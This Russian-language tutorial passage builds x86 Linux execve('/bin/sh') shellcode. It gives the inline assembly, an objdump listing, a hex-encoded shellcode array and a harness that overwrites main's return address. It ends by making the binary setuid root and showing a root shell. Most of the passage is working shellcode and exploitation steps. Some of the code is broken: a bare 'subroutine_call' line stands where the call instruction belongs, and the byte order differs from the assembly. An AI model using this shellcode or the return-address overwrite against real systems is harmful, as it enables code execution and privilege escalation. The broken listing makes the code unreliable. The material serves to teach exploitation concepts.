Построение шеллкода
Теперь мы имеем все, чтобы написать шеллкод: /* shellcode4.c */
int main()
{
asm("jmp subroutine_call
subroutine:
/* Получим адрес /bin/sh */
popl %esi
/* Запишем его первым элементом массива */
movl %esi,0x8(%esi)
/* Запишем NULL вторым элементом */
xorl %eax,%eax
movl %eax,0xc(%esi)
/* Поместим нулевой байт в коней строки */
movb %eax,0x7(%esi)
/* Функция execve() */
movb $0xb,%al
/* Строка для запуска в %ebx */
movl %esi, %ebx
/* Массив аргументов в %ecx */
leal 0x8(%esi),%ecx
/* Массив окружения %edx */
leal 0xc(%esi),%edx
/* Системный вызов */
int $0x80
/* Нулевой код возврата */
xorl %ebx,%ebx
/* Функция _exit() : %eax = 1 */
movl %ebx,%eax
inc %eax
/* Системный вызов */
int $0x80
subroutine_call:
subroutine_call
.string \"/bin/sh\"
");
}
Код скомпилирован при помощи "gcc -o shellcode4 shellcode4.c ".
Команда "objdump --disassemble shellcode4 " подтверждает, что наш
двоичный код не содержит нулевых байтов: 08048398 <main>:
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
804839b: eb 1f jmp 80483bc <subroutine_call>
0804839d <subroutine>:
804839d: 5e popl %esi
804839e: 89 76 08 movl %esi,0x8(%esi)
80483a1: 31 c0 xorl %eax,%eax
80483a3: 89 46 0c movb %eax,0xc(%esi)
80483a6: 88 46 07 movb %al,0x7(%esi)
80483a9: b0 0b movb $0xb,%al
80483ab: 89 f3 movl %esi,%ebx
80483ad: 8d 4e 08 leal 0x8(%esi),%ecx
80483b0: 8d 56 0c leal 0xc(%esi),%edx
80483b3: cd 80 int $0x80
80483b5: 31 db xorl %ebx,%ebx
80483b7: 89 d8 movl %ebx,%eax
80483b9: 40 incl %eax
80483ba: cd 80 int $0x80
080483bc <subroutine_call>:
80483bc: e8 dc ff ff ff call 804839d <subroutine>
80483c1: 2f das
80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp
80483c5: 2f das
80483c6: 73 68 jae 8048430 <_IO_stdin_used+0x14>
80483c8: 00 c9 addb %cl,%cl
80483ca: c3 ret
80483cb: 90 nop
80483cc: 90 nop
80483cd: 90 nop
80483ce: 90 nop
80483cf: 90 nop
Данные, находящиеся после адреса 80483c1 не представляют собой инструкции,
это символы строки "/bin/sh " (в шеснадцатиричном представлении
последовательность 2f 62 69 6e 2f 73 68 00 ) и случайные символы.
Код не содержит нулей, кроме нулевого символа в конце строки по адресу 80483c8.
Теперь давайте протестируем нашу программу: $ ./shellcode4
Segmentation fault (core dumped)
$
Опа! Не очень убедительно. Если мы немного подумаем, мы можем увидеть, что
область памяти, где расположена функция main() (то есть область
text , рассмотреная в начале этой статьи), предназначена только для
чтения. Шеллкод не может модифицировать ее. Что мы можем сделать, чтобы
протестировать наш шеллкод?
Чтобы обойти эту проблему, шеллкод должен быть помещен в область данных.
Поместим его в массив, объявленный как глобальная переменная. Мы должны
использовать еще одну хитрость, чтобы исполнить шеллкод. Заменим адрес возврата
функции main() , расположенный в стеке, адресом массива, содержащего
шеллкод. Не забывайте, что функция main - это "стандартная"
процедура, вызываемая частями кода, добавленными компоновщиком. Адрес возврата
перезаписывается при занесении адреса массива символов по адресу на два места
ниже начального положения стека. /* shellcode5.c */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int * ret;
/* +2 представляет собой смещение на 2 слова */
/* (т.е. 8 байт) от вершины стека: */
/* - первое, для зарезервированного слова
локальной переменной */
/* - второе - для сохраненного регистра %ebp */
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
Теперь мы можем протестировать наш шеллкод: $ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$
Мы можем даже сделать программу shellcode5 Set-UID root
и проверить, что оболочка, запущеная данными, содержащимися в этой
программе, выполняется под root-ом : $ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$
Назад |
Содержание |
Вперед
Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
|